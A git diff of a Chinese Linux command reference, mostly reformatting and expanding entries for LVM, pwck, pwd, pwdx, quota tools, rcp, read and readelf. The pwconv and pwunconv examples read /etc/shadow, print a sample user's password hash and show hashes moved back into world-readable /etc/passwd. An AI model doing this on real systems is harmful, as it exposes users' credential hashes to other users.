显示物理卷的属性
## 补充说明
**pvdisplay命令** 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。
-### 语法
+### 语法
-```
+```shell
pvdisplay(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-s:以短格式输出;
-m:显示PE到LE的映射。
```
-### 参数
+### 参数
物理卷:要显示的物理卷对应的设备文件名。
-### 实例
+### 实例
使用pvdisplay命令显示指定的物理卷的基本信息。在命令行中输入下面的命令:
-```
+```shell
[root@localhost ~]# pvdisplay /dev/sdb1 #显示物理卷基本信息
```
输出信息如下:
-```
+```shell
"/dev/sdb1" is a new physical volume of "101.94 MB"
--- NEW Physical volume ---
PV Name /dev/sdb1
@@ -43,4 +43,3 @@ PV UUID FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN
```
-
\ No newline at end of file
diff --git a/command/pvremove.md b/command/pvremove.md
index 78913e4672c..99e3b16557b 100644
--- a/command/pvremove.md
+++ b/command/pvremove.md
@@ -1,39 +1,37 @@
pvremove
===
-
+
删除一个存在的物理卷
## 补充说明
**pvremove命令** 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷。
-### 语法
+### 语法
-```
+```shell
pvremove(选项)(参数)
```
-### 选项
+### 选项
-```
--d:调试模式;
--f:强制删除;
--y:对提问回答“yes”。
+```shell
+-d # 调试模式;
+-f # 强制删除;
+-y # 对提问回答“yes”。
```
-### 参数
+### 参数
物理卷:指定要删除的物理卷对应的设备文件名。
-### 实例
+### 实例
使用pvremove指令删除物理卷`/dev/sdb2`。在命令行中输入下面的命令:
-```
-pvremove /dev/sdb2 #删除物理卷
+```shell
+pvremove /dev/sdb2 # 删除物理卷
Labels on physical volume "/dev/sdb2" successfully wiped
-
```
-
\ No newline at end of file
diff --git a/command/pvs.md b/command/pvs.md
index 3154af14291..d87a18ac37a 100644
--- a/command/pvs.md
+++ b/command/pvs.md
@@ -1,44 +1,43 @@
pvs
===
-
+
输出物理卷信息报表
## 补充说明
**pvs命令** 用于输出格式化的物理卷信息报表。使用pvs命令仅能得到物理卷的概要信息,如果要得到更加详细的信息可以使用pvdisplay命令。
-### 语法
+### 语法
-```
+```shell
pvs(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--noheadings:不输出标题头;
--nosuffix:不输出空间大小的单位。
```
-### 参数
+### 参数
物理卷:要显示报表的物理卷列表。
-### 实例
+### 实例
使用pvs命令显示系统中所有物理卷的信息报表。在命令行中输入下面的命令:
-```
-pvs #输出物理卷信息报表
+```shell
+pvs # 输出物理卷信息报表
```
输出信息如下:
-```
+```shell
PV VG fmt Attr PSize PFree
/dev/sdb1 vg1000 lvm2 -- 100.00M 100.00M
/dev/sdb2 lvm2 -- 101.98M 101.98M
```
-
\ No newline at end of file
diff --git a/command/pvscan.md b/command/pvscan.md
index 5e5039d0fc5..023573c1e12 100644
--- a/command/pvscan.md
+++ b/command/pvscan.md
@@ -1,21 +1,21 @@
pvscan
===
-
+
扫描系统中所有硬盘的物理卷列表
## 补充说明
**pvscan命令** 会扫描系统中连接的所有硬盘,列出找到的物理卷列表。使用pvscan命令的`-n`选项可以显示硬盘中的不属于任何卷组的物理卷,这些物理卷是未被使用的。
-### 语法
+### 语法
-```
+```shell
pvscan(选项)
```
-### 选项
+### 选项
-```
+```shell
-d:调试模式;
-e:仅显示属于输出卷组的物理卷;
-n:仅显示不属于任何卷组的物理卷;
@@ -23,17 +23,17 @@ pvscan(选项)
-u:显示UUID。
```
-### 实例
+### 实例
使用pvscan命令扫描当前系统中所有硬盘的物理卷,在命令行中输入下面的命令:
-```
+```shell
[root@localhost ~]# pvscan #扫描所有硬盘上的物理卷
```
输出信息如下:
-```
+```shell
PV /dev/sdb1 lvm2 [101.94 MB]
PV /dev/sdb2 lvm2 [101.98 MB]
Total: 2 [203.92 MB] / in use: 0 [0 ] / in no VG: 2 [203.92
@@ -43,4 +43,3 @@ MB]
说明:本例中,输出了两个物理卷,它们不属于任何卷组,是可被利用的物理卷。
-
\ No newline at end of file
diff --git a/command/pwck.md b/command/pwck.md
index 62364fc3d75..31c0fb2ee52 100644
--- a/command/pwck.md
+++ b/command/pwck.md
@@ -1,53 +1,47 @@
pwck
===
-
+
用来验证系统认证文件内容和格式的完整性
## 补充说明
**pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。
-### 语法
+### 语法
-```
+```shell
pwck(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-q:仅报告错误信息;
-s:以用户id排序文件“/etc/passwd”和“/etc/shadow”;
--r:只读方式运行指令。
+-r:只读方式运行指令;
+-R:在指定的chroot环境下检查密码文件。
```
-### 参数
+### 参数
* 密码文件:指定密码文件的路径;
* 影子文件:指定影子文件的路径。
-### 实例
+### 实例
+```shell
+pwck
+user 'ftp': directory '/var/ftp' does not exist
+pwck: no changes
```
-pwck /etc/passwd
-user 'lp': directory '/var/spool/lpd' does not exist
-user 'news': directory '/var/spool/news' does not exist
-user 'uucp': directory '/var/spool/uucp' does not exist
-user 'www-data': directory '/var/www' does not exist
-user 'list': directory '/var/list' does not exist
-user 'irc': directory '/var/run/ircd' does not exist
-user 'gnats': directory '/var/lib/gnats' does not exist
-user 'nobody': directory '/nonexistent' does not exist
-user 'syslog': directory '/home/syslog' does not exist
-user 'couchdb': directory '/var/lib/couchdb' does not exist
-user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist
-user 'usbmux': directory '/home/usbmux' does not exist
-user 'haldaemon': directory '/var/run/hald' does not exist
-user 'pulse': directory '/var/run/pulse' does not exist
-user 'saned': directory '/home/saned' does not exist
-user 'hplip': directory '/var/run/hplip' does not exist
-pwck:无改变
+执行`pwck`命令后显示了一些警告,提示有用户`lp`的主目录 `/var/spool/lpd`不存在。为了解决这个问题,你有几个选项:
+1. 如果你确定这些用户不会被使用,你可以考虑使用`userdel`命令来删除这些用户。
+2. 如果这些用户需要被使用,你应该创建相应的目录。例如,你可以使用以下命令:
+
+```shell
+# 创建目录
+sudo mkdir /var/ftp
+# 将目录的所有权赋给相应的用户
+sudo chown ftp:ftp /var/ftp
```
-
-
-
\ No newline at end of file
+3. 如果这些用户对应的软件包还未安装,你可以考虑安装它们。软件包管理器(如`yum`或`apt`)通常会自动创建必要的用户和目录。
diff --git a/command/pwconv.md b/command/pwconv.md
index b3ee2385983..c2b6a245eff 100644
--- a/command/pwconv.md
+++ b/command/pwconv.md
@@ -1,31 +1,30 @@
pwconv
===
-
+
用来开启用户的投影密码
## 补充说明
**pwconv命令** 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于`/etc`目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性。
-### 语法
+### 语法
-```
+```shell
pwconv
```
-### 实例
+### 实例
-```
+```shell
cat /etc/passwd | grep test
test:x:3001:3001::/home/test:/bin/sh
```
此时可以发现密码段是x
-```
+```shell
cat /etc/shadow | grep test
test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:15022:0:99999:7:::
```
-
\ No newline at end of file
diff --git a/command/pwd.md b/command/pwd.md
index a2baab5eec4..64951e0a896 100644
--- a/command/pwd.md
+++ b/command/pwd.md
@@ -1,32 +1,95 @@
pwd
===
-
-绝对路径方式显示用户当前工作目录
+
+显示当前工作目录的绝对路径。
## 补充说明
-**pwd命令** 以绝对路径的方式显示用户当前工作目录。命令将当前目录的全路径名称(从根目录)写入标准输出。全部目录使用`/`分隔。第一个`/`表示根目录,最后一个目录是当前目录。执行pwd命令可立刻得知您目前所在的工作目录的绝对路径名称。
+pwd(英文全拼:print working directory) 命令用于显示用户当前所在的工作目录(以绝对路径显示)。
+
+## 内建命令
-### 语法
+#### 概要
+```shell
+pwd [-LP]
```
-pwd(选项)
+
+#### 选项
+
+```shell
+-L (默认值)打印环境变量"$PWD"的值,可能为符号链接。
+-P 打印当前工作目录的物理位置。
```
-### 选项
+#### 返回值
+
+返回状态为成功除非给出了非法选项或是当前目录无法读取。
+
+#### 注意
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+## 外部命令
+
+#### 概要
+
+```shell
+pwd [OPTION]...
```
---help:显示帮助信息;
---version:显示版本信息。
+#### 主要用途
+
+- 显示当前工作目录。
+
+
+#### 选项
+
+```shell
+-L, --logical 打印环境变量"$PWD"的值,可能为符号链接。
+-P, --physical (默认值)打印当前工作目录的物理位置。
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
```
-### 实例
+#### 返回值
+
+返回状态为成功除非给出了非法选项或是当前目录无法读取。
+
+#### 注意
+
+1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man pwd`或`info coreutils 'pwd invocation'`。
+2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。
+3. 在不禁用内建且当前环境没有定义`pwd`函数的情况下,使用`/usr/bin/pwd`指向`coreutils`的`pwd`,使用`pwd`指向bash内建的`pwd`。
+
+## 例子
+
+查看当前所在路径
+
+```shell
+[root@localhost var]# pwd
+/var
```
-[root@localhost ~]# pwd
-/root
+
+显示软连接文件最终指向的文件路径
+
+```shell
+[root@localhost ~]# cd /var/ # 进入/var目录,该目录下有个 mail 软连接文件
+[root@localhost var]# ls -al
+total 164
+...
+lrwxrwxrwx 1 root root 10 Oct 17 2015 mail -> spool/mail
+
+[root@localhost var]# cd mail/ # 进入 mail 目录,mail 为连接文件。
+[root@localhost mail]# pwd # 默认,使用连接文件,直接显示连接文件全路径。
+/var/mail
```
+使用 `-P` 参数,显示的不是逻辑路径,而是连接(软连接)文件最终指向的文件
-
\ No newline at end of file
+```shell
+[root@localhost mail]# pwd -P
+/var/spool/mail
+```
diff --git a/command/pwdx.md b/command/pwdx.md
new file mode 100644
index 00000000000..c0eeb3cc97d
--- /dev/null
+++ b/command/pwdx.md
@@ -0,0 +1,61 @@
+pwdx
+===
+
+用于显示指定进程的当前工作目录
+
+## 内建命令
+
+
+### 概要
+
+```shell
+pwdx [进程ID]
+```
+
+### 参数说明
+
+- `进程ID`:要查询的进程ID,可以使用 `ps` 命令查看。
+
+## 示例
+
+
+下面示例中,使用 `ps` 命令查看 `nginx` 进程的信息,然后使用 `pwdx` 命令查询进程ID为 `5678` 的进程的当前工作目录。
+
+```bash
+$ ps -ef | grep nginx
+# root 1234 1 0 10:00 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
+# www-data 5678 1234 0 10:01 ? 00:00:00 nginx: worker process
+
+$ pwdx 5678
+# 5678: /var/www/html
+```
+
+查看当前进程的工作目录:
+
+```bash
+$ pwdx $$
+```
+
+查看指定进程的工作目录:
+
+```bash
+$ pwdx 1234
+```
+
+批量查看多个进程的工作目录:
+
+```bash
+$ ps aux | awk '{print $2}' | xargs pwdx
+```
+
+结合其他命令,查看某个进程的工作目录和命令行:
+
+```bash
+$ ps -p 1234 -o cmd | tail -n 1 | awk '{print $1}' | xargs pwdx
+```
+
+查看所有进程的工作目录:
+
+```bash
+$ ps -eo pid | xargs pwdx
+```
\ No newline at end of file
diff --git a/command/pwunconv.md b/command/pwunconv.md
index 021851c2103..cda5a01dbdd 100644
--- a/command/pwunconv.md
+++ b/command/pwunconv.md
@@ -1,28 +1,27 @@
pwunconv
===
-
+
用来关闭用户的投影密码
## 补充说明
**pwunconv命令** 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里。
-### 语法
+### 语法
-```
+```shell
pwunconv
```
-### 实例
+### 实例
-```
-pwunconv //关闭影子密码
-cat /etc/passwd | grep test //发现密码已经在passwd文件中了
+```shell
+pwunconv # 关闭影子密码
+cat /etc/passwd | grep test # 发现密码已经在passwd文件中了
test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:3001:3001::/home/test:/bin/sh
-ls /etc/shadow //查看影子文件,提示没有这个文件或目录
+ls /etc/shadow # 查看影子文件,提示没有这个文件或目录
ls: cannot access /etc/shadow: No such file or directory
```
-
\ No newline at end of file
diff --git a/command/quota.md b/command/quota.md
index 24a79fed5cd..2ed5b52799a 100644
--- a/command/quota.md
+++ b/command/quota.md
@@ -1,21 +1,21 @@
quota
===
-
+
显示磁盘已使用的空间与限制
## 补充说明
**quota命令** 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。
-### 语法
+### 语法
-```
+```shell
quota(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-g:列出群组的磁盘空间限制;
-q:简明列表,只列出超过限制的部分;
-u:列出用户的磁盘空间限制;
@@ -23,17 +23,17 @@ quota(选项)(参数)
-V:显示版本信息。
```
-### 参数
+### 参数
用户或者工作组:指定要显示的用户或者工作组。
-### 实例
+### 实例
我们可以限制某一群组所能使用的最大磁盘配额,而且可以再限制某一使用者的最大磁盘配额 ,好比做一个收费的应用,vip可以得到空间更大一些。另外,以 Link 的方式,来使邮件可以作为限制的配额(更改`/var/spool/mail` 这个路径),不2,需要重新再规划一个硬盘!直接使用 Link 的方式指向 /home (或者其它已经做好的 quota 磁盘)就可以!这通常是用在原本规划不好,但是却又不想要更动原有主机架构的情况中!
要求:Linux 主机里面主要针对 quser1 及 quser2 两个使用者来进行磁盘配额, 且这两个使用者都是挂在 qgroup 组里面的。每个使用者总共有 50MB 的磁盘空间 (不考虑 inode) 限制!并且 soft limit 为 45 MB;而宽限时间设定为 1 天, 但是在一天之内必须要将多余的文件删除掉,否则将无法使用剩下的空间 ;gquota 这个组考虑最大限额,所以设定为 90 MB!(注意,这样设置的好处是富有弹性,好比现在的邮件服务,那么多用户,承诺给用户每人最大空间为数GB,然而人们不可能每人都会使用那么大的空间,所以邮件服务的总空间,实际上肯定不是注册客户数乘以数GB,否则这样得多大啊。)
-```
+```shell
[root@localhost ~]# groupadd qgroup
[root@localhost ~]# useradd -m -g qgroup quser1
[root@localhost ~]# useradd -m -g qgroup quser2
@@ -56,7 +56,7 @@ LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2
重新`remount filesystem`来驱动设定值。
-```
+```shell
[root@localhost ~]# umount /dev/hdb1
[root@localhost ~]# mount -a
[root@localhost ~]# grep '/disk2' /etc/mtab
@@ -65,7 +65,7 @@ LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2
事实上,也可以利用 mount 的 remount 功能。
-```
+```shell
[root@localhost ~]# mount -o remount /disk2
```
@@ -73,7 +73,7 @@ LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2
扫瞄磁盘的使用者使用状况,并产生重要的 aquota.group 与 aquota.user:
-```
+```shell
[root@localhost ~]# quotacheck -avug
quotacheck: Scanning /dev/hdb1 [/disk2] done
quotacheck: Checked 3 directories and 4 files
@@ -85,7 +85,7 @@ quotacheck: Checked 3 directories and 4 files
使用 quotacheck 就可以轻易的将所需要的数据给他输出了!但奇怪的是,在某些 Linux 版本中,不能够以 aquota.user(group) 来启动quota ,可能是因为旧版 quota 的关系, 所以就另外做了一个 link 文件按来欺骗 quota,这个动作非必要。(主要是学习这个思维很重要)
-```
+```shell
[root@localhost ~]# cd /disk2
[root@localhost ~]# ln -s aquota.user quota.user
[root@localhost ~]# ln -s aquota.group quota.group
@@ -93,7 +93,7 @@ quotacheck: Checked 3 directories and 4 files
启动 quota 的限额:
-```
+```shell
[root@localhost ~]# quotaon -avug
/dev/hdb1 [/disk2]: group quotas turned on
/dev/hdb1 [/disk2]: user quotas turned on ===> 看到turned on,才是真的成功!
@@ -101,7 +101,7 @@ quotacheck: Checked 3 directories and 4 files
编辑使用者的可使用空间:
-```
+```shell
[root@localhost ~]# edquota -u quser1
Disk quotas for user quser1 (uid 502):
Filesystem blocks soft hard inodes soft hard
@@ -111,7 +111,7 @@ Disk quotas for user quser1 (uid 502):
接下来要来设定宽限时间,还是使用 edquota
-```
+```shell
[root@localhost ~]# edquota -t
Grace period before enforcing soft limits for users:
time units may be: days, hours, minutes, or seconds
@@ -121,7 +121,7 @@ time units may be: days, hours, minutes, or seconds
使用`quota -v`来查询:
-```
+```shell
[root@localhost ~]# quota -vu quser1 quser2
Disk quotas for user quser1 (uid 502):
Filesystem blocks quota limit grace files quota limit grace
@@ -135,7 +135,7 @@ Disk quotas for user quser2 (uid 503):
编辑群组可使用的空间:
-```
+```shell
[root@localhost ~]# edquota -g qgroup
Disk quotas for group qgroup (gid 502):
Filesystem blocks soft hard inodes soft hard
@@ -148,4 +148,3 @@ Disk quotas for group qgroup (gid 502):
```
-
\ No newline at end of file
diff --git a/command/quotacheck.md b/command/quotacheck.md
index 4d905aaae90..3a194bdaad5 100644
--- a/command/quotacheck.md
+++ b/command/quotacheck.md
@@ -1,22 +1,31 @@
quotacheck
===
-
+
检查磁盘的使用空间与限制
## 补充说明
**quotacheck命令** 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制。
-### 语法
+如果在执行quotacheck命令时出现了以下信息:
+```shell
+quotacheck: Your kernel probably supports journaled quota but you are not using it. Consider switching to journaled quota to avoid running quotacheck after an unclean shutdown.
```
+
+可以考虑将之前在文件系统的配置文件中添加的quota相关字段修改为:`usrjquota=aquota.user,grpjquota=aquota.group,jqfmt=vfsv1`,然后重新挂载文件系统:`mount -vo remount 挂载目录`(注意,如果这一步操作出现了任何问题,千万不要试图通过重启解决!将配置文件恢复原状是一个好的选择)
+
+### 语法
+
+```shell
quotacheck(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:扫描在/etc/fstab文件里,有加入quota设置的分区;
+-c:对目标文件系统进行一次新的扫描,并创建新的quota文件;
-d:详细显示指令执行过程,便于排错或了解程序执行的情形;
-g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目;
-R:排除根目录所在的分区;
@@ -24,26 +33,31 @@ quotacheck(选项)(参数)
-v:显示指令执行过程。
```
-### 参数
+### 参数
文件系统:指定要扫描的文件系统。
-### 实例
+### 实例
将所有的在`/etc/mtab`内,含有quota支持的partition进行扫描:
-```
+```shell
[root@linux ~]# quotacheck -avug
quotacheck: Scanning /dev/hdb1 [/disk2] done
quotacheck: Checked 3 directories and 4 files
-
```
强制扫描已挂载的filesystem:
-```
+```shell
[root@linux ~]# quotacheck -avug -m
```
+扫描指定的filesystem:
+
+```shell
+[root@linux ~]# quotacheck -cvug /disk2
+```
+
+
-
\ No newline at end of file
diff --git a/command/quotaoff.md b/command/quotaoff.md
index c17127714c0..c4472bc7656 100644
--- a/command/quotaoff.md
+++ b/command/quotaoff.md
@@ -1,30 +1,29 @@
quotaoff
===
-
+
关闭Linux内核中指定文件系统的磁盘配额功能
## 补充说明
**quotaoff命令** 用于关闭Linux内核中指定文件系统的磁盘配额功能。
-### 语法
+### 语法
-```
+```shell
quotaoff(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制;
-g:关闭群组的磁盘空间限制;
-u:关闭用户的磁盘空间限制;
-v:显示指令执行过程。
```
-### 参数
+### 参数
文件系统:指定要关闭磁盘配额功能的文件系统。
-
\ No newline at end of file
diff --git a/command/quotaon.md b/command/quotaon.md
index 74946597094..38a28b45e41 100644
--- a/command/quotaon.md
+++ b/command/quotaon.md
@@ -1,30 +1,30 @@
quotaon
===
-
+
激活Linux内核中指定文件系统的磁盘配额功能
## 补充说明
-**quotaon命令** 用于激活Linux内核中指定文件系统的磁盘配额功能。执行quotaon指令可开启用户和群组的才磅秒年空间限制,各分区的文件系统根目录必须有quota.user和quota.group配置文件。
+**quotaon命令** 执行quotaon指令可开启磁盘对用户和群组的空间使用限制,但在开启前,各分区的文件系统根目录必须存在通过quotacheck命令创建的quota配置文件。
-### 语法
+### 语法
-```
+```shell
quotaon(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制;
-g:开启群组的磁盘空间限制;
-u:开启用户的磁盘空间限制;
-v:显示指令指令执行过程。
```
-### 参数
+### 参数
文件系统:指定要激活磁盘配额功能的文件系统。
-
\ No newline at end of file
+
diff --git a/command/rcconf.md b/command/rcconf.md
index 3eaf3503240..2983d19d9bd 100644
--- a/command/rcconf.md
+++ b/command/rcconf.md
@@ -1,25 +1,24 @@
rcconf
===
-
+
Debian Linux下的运行等级服务配置工具
## 补充说明
**rcconf命令** 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置。
-### 语法
+### 语法
-```
+```shell
rcconf(选项)
```
-### 选项
+### 选项
-```
+```shell
--help:打印帮助信息;
--dialog:使用对话命令显示菜单;
--notermcheck:不按照终端属性来设置窗口尺寸。
```
-
\ No newline at end of file
diff --git a/command/rcp.md b/command/rcp.md
index 073c6c442f1..0bff58254c1 100644
--- a/command/rcp.md
+++ b/command/rcp.md
@@ -7,15 +7,15 @@ rcp
**rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。
-### 语法
+### 语法
-```
+```shell
rcp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间;
-r:递归处理,将指定目录下的文件与子目录一并处理;
-x:加密两台Linux主机间传送的所有信息。
@@ -26,11 +26,11 @@ rcp(选项)(参数)
directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。
-### 参数
+### 参数
源文件:指定要复制的源文件。源文件可以有多个。
-### 实例
+### 实例
**rcp命令使用条件**
@@ -45,7 +45,7 @@ directory 每个文件或目录参数既可以是远程文件名也可以是本
**将当前目录下的 test1 复制到名为 webserver1 的远程系统:**
-```
+```shell
rcp test1 webserver1:/home/root/test3
```
@@ -53,7 +53,7 @@ rcp test1 webserver1:/home/root/test3
**还可以在目的目录中包含文件名。例如,将文件复制到名为 webserver1的系统中:**
-```
+```shell
rcp test1 webserver1:/home/root/test3
```
@@ -61,13 +61,13 @@ rcp test1 webserver1:/home/root/test3
**从远程系统复制文件:要将远程系统中的文件复制到本地目录下:**
-```
+```shell
rcp remote_hostname:remote_file local_fileEnter
```
**将远程系统 webserver1中的 test2 复制到当前目录:**
-```
+```shell
rcp webserver1:/home/root/test2 .Enter
```
@@ -75,13 +75,13 @@ rcp webserver1:/home/root/test2 .Enter
如果希望用新名称复制文件,请提供目标文件名。如果希望将 test2 复制到本地系统中的其他目录下,请使用以下绝对或相对路径名:
-```
+```shell
rcp webserver1:/home/root/test2 otherdir/ Enter
```
或者,如果希望用其他文件名将文件复制到其他目录下:
-```
+```shell
rcp webserver1:/home/root/test2 otherdir/otherfile Enter
```
@@ -89,7 +89,7 @@ rcp webserver1:/home/root/test2 otherdir/otherfile Enter
要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项。
-```
+```shell
rcp -r local_dir remote_hostname:remote_dir Enter
```
@@ -97,7 +97,7 @@ rcp -r local_dir remote_hostname:remote_dir Enter
**要将名为 work 的子目录完整地复制到 webserver1远程计算机中的主目录下名为 products 的目录,请键入以下内容:**
-```
+```shell
rcp -r work webserver1:/home/root/products Enter
```
@@ -109,17 +109,17 @@ rcp -r work webserver1:/home/root/products Enter
要将远程目录及其所有文件和子目录复制到本地目录,请在以下语法中使用 rcp 和 -r(递归)选项。
-```
+```shell
rcp –r remote_hostname:remote_dir local_dir Enter
```
要将名为 work 的远程目录复制到当前目录,请键入以下内容:
-```
+```shell
rcp –r webserver1:/home/root/work .Enter
```
`.`表示当前目录。将在此目录下创建 work 目录。
-
+
diff --git a/command/read.md b/command/read.md
index 1e71ad1e296..5bb2f20e1b1 100644
--- a/command/read.md
+++ b/command/read.md
@@ -1,74 +1,74 @@
read
===
-
+
从键盘读取变量值
## 补充说明
**read命令** 从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在read命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量REPLY
-### 语法
+### 语法
-```
+```shell
read(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-p:指定读取值时的提示符;
-t:指定读取值时等待的时间(秒)。
```
-### 参数
+### 参数
变量:指定读取值的变量名。
-### 实例
+### 实例
下面的列表给出了read命令的常用方式:
-```
+```shell
read 1987name
从标准输入读取输入并赋值给变量1987name。
```
-```
+```shell
read first last
从标准输入读取输入到第一个空格或者回车,将输入的第一个单词放到变量first中,并将该行其他的输入放在变量last中。
```
-```
+```shell
read
从标准输入读取一行并赋值给特定变量REPLY。
```
-```
+```shell
read -a arrayname
把单词清单读入arrayname的数组里。
```
-```
+```shell
read -p "text"
打印提示(text),等待输入,并将输入存储在REPLY中。
```
-```
+```shell
read -r line
允许输入包含反斜杠。
```
-```
+```shell
read -t 3
指定读取等待时间为3秒。
```
-```
+```shell
read -n 2 var
从输入中读取两个字符并存入变量var,不需要按回车读取。
```
-```
+```shell
read -d ":" var
用定界符“:”结束输入行。
```
@@ -77,7 +77,7 @@ read -d ":" var
从标准输入读取输入并赋值给变量1987name。
-```
+```shell
#read 1987name #等待读取输入,直到回车后表示输入完毕,并将输入赋值给变量answer
HelloWorld #控制台输入Hello
@@ -87,7 +87,7 @@ HelloWorld
等待一组输入,每个单词之间使用空格隔开,直到回车结束,并分别将单词依次赋值给这三个读入变量。
-```
+```shell
#read one two three
1 2 3 #在控制台输入1 2 3,它们之间用空格隔开。
@@ -97,7 +97,7 @@ one = 1, two = 2, three = 3
REPLY示例
-```
+```shell
#read #等待控制台输入,并将结果赋值给特定内置变量REPLY。
This is REPLY #在控制台输入该行。
@@ -108,7 +108,7 @@ This is REPLY
-p选项示例
-```
+```shell
#read -p "Enter your name: " #输出文本提示,同时等待输入,并将结果赋值给REPLY。
Enter you name: stephen #在提示文本之后输入stephen
@@ -118,7 +118,7 @@ stephen
等待控制台输入,并将输入信息视为数组,赋值给数组变量friends,输入信息用空格隔开数组的每个元素。
-```
+```shell
#read -a friends
Tim Tom Helen
@@ -130,7 +130,7 @@ They are Tim, Tom and Helen.
方法1:
-```
+```shell
#!/bin/bash
read -p "输入密码:" -s pwd
echo
@@ -139,7 +139,7 @@ echo password read, is "$pwd"
方法2:
-```
+```shell
#!/bin/bash
stty -echo
read -p "输入密码:" pwd
@@ -152,29 +152,28 @@ echo 输入完毕。
使用read命令从键盘读取变量值,并且将值赋给指定的变量,输入如下命令:
-```
+```shell
read v1 v3 #读取变量值
```
执行上面的指令以后,要求键入两个数据,如下所示:
-```
+```shell
Linux c+ #输入数据
```
完成之后,可以使用echo命令将指定的变量值输出查看,输入如下命令:
-```
+```shell
echo $v1 $v3 #输出变量的值
```
执行输出变量值的命令以后,将显示用户所输入的数据值,如下所示:
-```
+```shell
Linux c+ #输出变量值
```
注意:使用echo命令输出变量值时,必须在变量名前添加符号`$`。否则,echo将直接输出变量名。
-
\ No newline at end of file
diff --git a/command/readelf.md b/command/readelf.md
index 13714b5c1eb..a53951c81d8 100644
--- a/command/readelf.md
+++ b/command/readelf.md
@@ -1,6 +1,6 @@
readelf
===
-
+
用于显示elf格式文件的信息
## 补充说明
@@ -11,7 +11,7 @@ readelf
运行readelf的时候,除了-v和-H之外,其它的选项必须有一个被指定。
-### ELF文件类型
+### ELF文件类型
**种类型的ELF文件:**
@@ -36,9 +36,9 @@ elf文件头描述elf文件的总体信息。包括:系统相关,类型相
* 加载相关:包括程序头表相关信息。
* 链接相关:节头表相关信息。
-### 选项
+### 选项
-```
+```shell
-a
--all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I.
@@ -108,7 +108,7 @@ elf文件头描述elf文件的总体信息。包括:系统相关,类型相
@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。
```
-### 实例
+### 实例
先给出如下例子:
@@ -116,7 +116,7 @@ elf文件头描述elf文件的总体信息。包括:系统相关,类型相
1)查看可执行程序的源代码如下:
-```
+```shell
root@localhost [test]$ cat main.cpp
#include
using std::cout;
@@ -138,14 +138,14 @@ void my_print()
2)编译如下:
-```
+```shell
[root@localhost test]$ g++ main.cpp -o main
[root@localhost test]$ g++ -g main.cpp -o main.debug
```
3)编译之后,查看生成的文件:
-```
+```shell
[root@localhost test]$ ls -l
总计 64
-rwxr-xr-x 1 quietheart quietheart 6700 07-07 18:04 main
@@ -159,7 +159,7 @@ void my_print()
1)查看库的源代码如下:
-```
+```shell
//myfile.h
#ifndef __MYFILE_H
#define __MYFILE_H
@@ -179,7 +179,7 @@ void printInfo()
2)编译如下:
-```
+```shell
[root@localhost test]$ g++ -c myfile.cpp
[root@localhost test]$ g++ -shared -fPCI -o libmy.so myfile.o
[root@localhost test]$ ar -r libmy.a myfile.o
@@ -192,7 +192,7 @@ ar: creating libmy.a
总计 44
-```
+```shell
-rw-r--r-- 1 quietheart quietheart 2154 07-08 16:14 libmy.a
-rwxr-xr-x 1 quietheart quietheart 5707 07-08 16:08 libmy.so
